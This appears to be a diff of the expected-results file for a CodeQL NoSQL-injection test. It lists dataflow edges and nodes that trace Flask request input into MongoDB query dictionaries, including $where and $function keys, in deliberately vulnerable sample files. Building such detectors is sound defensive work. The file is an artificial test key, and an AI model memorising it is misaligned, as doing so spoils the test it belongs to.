ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | provenance | | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | flask_pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | provenance | | | flask_pymongo_bad.py:11:5:11:17 | ControlFlowNode for unsafe_search | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | provenance | | | flask_pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | flask_pymongo_bad.py:11:5:11:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| flask_pymongo_bad.py:12:5:12:15 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | provenance | | +| flask_pymongo_bad.py:12:5:12:15 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | provenance | | | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | flask_pymongo_bad.py:12:5:12:15 | ControlFlowNode for json_search | provenance | | | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | provenance | Config | +| flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | provenance | | +| flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | mongoengine_bad.py:18:21:18:27 | ControlFlowNode for request | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | provenance | | @@ -58,24 +76,32 @@ edges | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | mongoengine_bad.py:57:21:57:27 | ControlFlowNode for request | provenance | | | mongoengine_bad.py:18:5:18:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:19:30:19:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:18:21:18:27 | ControlFlowNode for request | mongoengine_bad.py:18:5:18:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| mongoengine_bad.py:19:5:19:15 | ControlFlowNode for json_search | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:19:5:19:15 | ControlFlowNode for json_search | mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:19:5:19:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:19:30:19:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | provenance | Config | +| mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | provenance | Config | +| mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:34:21:34:27 | ControlFlowNode for request | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | provenance | Config | +| mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | provenance | Config | +| mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:51:30:51:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | | mongoengine_bad.py:51:5:51:15 | ControlFlowNode for json_search | mongoengine_bad.py:53:34:53:44 | ControlFlowNode for json_search | provenance | | @@ -83,9 +109,11 @@ edges | mongoengine_bad.py:51:30:51:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:51:19:51:43 | ControlFlowNode for Attribute() | provenance | Config | | mongoengine_bad.py:57:5:57:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:57:21:57:27 | ControlFlowNode for request | mongoengine_bad.py:57:5:57:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| mongoengine_bad.py:58:5:58:15 | ControlFlowNode for json_search | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:58:5:58:15 | ControlFlowNode for json_search | mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:58:5:58:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | provenance | Config | +| mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | provenance | | +| mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for ImportMember | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | pymongo_test.py:12:21:12:27 | ControlFlowNode for request | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | provenance | | @@ -93,32 +121,49 @@ edges | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | pymongo_test.py:52:26:52:32 | ControlFlowNode for request | provenance | | | pymongo_test.py:12:5:12:17 | ControlFlowNode for unsafe_search | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | provenance | | | pymongo_test.py:12:21:12:27 | ControlFlowNode for request | pymongo_test.py:12:5:12:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | -| pymongo_test.py:13:5:13:15 | ControlFlowNode for json_search | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:13:5:13:15 | ControlFlowNode for json_search | pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | provenance | | | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | pymongo_test.py:13:5:13:15 | ControlFlowNode for json_search | provenance | | | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | provenance | Config | +| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | provenance | | | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | provenance | | | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | provenance | | | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | +| pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | provenance | | | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | provenance | | | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | provenance | | | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | +| pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | provenance | | | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:52:15:52:50 | ControlFlowNode for Attribute() | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:52:26:52:32 | ControlFlowNode for request | pymongo_test.py:52:26:52:49 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | | pymongo_test.py:52:26:52:49 | ControlFlowNode for Subscript | pymongo_test.py:52:15:52:50 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:54:5:54:10 | ControlFlowNode for search | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:54:5:54:10 | ControlFlowNode for search | pymongo_test.py:59:49:59:54 | ControlFlowNode for search | provenance | | +| pymongo_test.py:54:5:54:10 | ControlFlowNode for search [Dictionary element at key body] | pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | provenance | | | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | pymongo_test.py:54:5:54:10 | ControlFlowNode for search | provenance | | -| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | pymongo_test.py:54:5:54:10 | ControlFlowNode for search [Dictionary element at key body] | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | -| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | provenance | | +| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | provenance | | +| pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:63:25:63:31 | ControlFlowNode for decoded | provenance | | +| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | provenance | | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| pymongo_test.py:59:49:59:54 | ControlFlowNode for search | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | +| pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | provenance | | +| pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | +| pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | provenance | | nodes | PoC/server.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | PoC/server.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -128,7 +173,11 @@ nodes | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | PoC/server.py:27:25:27:37 | ControlFlowNode for author_string | semmle.label | ControlFlowNode for author_string | | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | semmle.label | ControlFlowNode for Dict [Dictionary element at key author] | +| PoC/server.py:30:38:30:43 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | semmle.label | ControlFlowNode for Dict [Dictionary element at key author] | +| PoC/server.py:31:45:31:50 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:43:5:43:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:43:14:43:20 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | PoC/server.py:47:27:47:68 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | @@ -139,14 +188,24 @@ nodes | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | | PoC/server.py:54:17:54:70 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | +| PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | +| PoC/server.py:61:51:61:56 | ControlFlowNode for search | semmle.label | ControlFlowNode for search | | PoC/server.py:77:5:77:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:77:14:77:20 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | PoC/server.py:78:5:78:15 | ControlFlowNode for accumulator | semmle.label | ControlFlowNode for accumulator | | PoC/server.py:78:19:83:5 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | | PoC/server.py:80:23:80:101 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | -| PoC/server.py:84:5:84:9 | ControlFlowNode for group | semmle.label | ControlFlowNode for group | +| PoC/server.py:84:5:84:9 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | +| PoC/server.py:84:13:87:5 | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | +| PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $accumulator] | +| PoC/server.py:86:37:86:47 | ControlFlowNode for accumulator | semmle.label | ControlFlowNode for accumulator | | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | +| PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| PoC/server.py:92:38:92:56 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | +| PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:98:5:98:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:98:14:98:20 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | PoC/server.py:99:5:99:10 | ControlFlowNode for mapper | semmle.label | ControlFlowNode for mapper | @@ -165,6 +224,8 @@ nodes | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | flask_mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | flask_pymongo_bad.py:11:5:11:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | @@ -173,6 +234,8 @@ nodes | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | mongoengine_bad.py:18:5:18:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | @@ -181,24 +244,32 @@ nodes | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:19:30:19:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:34:21:34:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | mongoengine_bad.py:51:5:51:15 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | @@ -211,6 +282,8 @@ nodes | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | +| mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | pymongo_test.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:12:5:12:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | @@ -219,28 +292,45 @@ nodes | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | semmle.label | ControlFlowNode for Dict [Dictionary element at key data] | +| pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | 